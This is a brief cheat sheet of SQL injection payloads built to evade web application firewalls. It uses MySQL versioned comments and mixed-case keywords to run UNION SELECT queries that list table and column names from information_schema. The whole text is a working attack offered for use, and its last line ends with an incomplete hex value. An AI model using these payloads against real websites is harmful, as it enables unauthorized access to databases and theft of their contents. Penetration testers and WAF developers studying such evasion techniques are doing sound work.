SQLi bypass WAF Cheat sheet

waf-- /*!50000union*/ /*!50000select*/ all
 /*!50000grOuP_ConcAt(table_name)*/ from
/*!50000iNFoRmaTion_schema*/.tables where
/*!50000TaBlE_ScHEma*/=database()-- -
/*!50000grOuP_ConcAt(column_name)*/ from
/*!50000iNFoRmaTion_schema*/.columns where /*!50000TaBlE_NaMe*/=0x-- -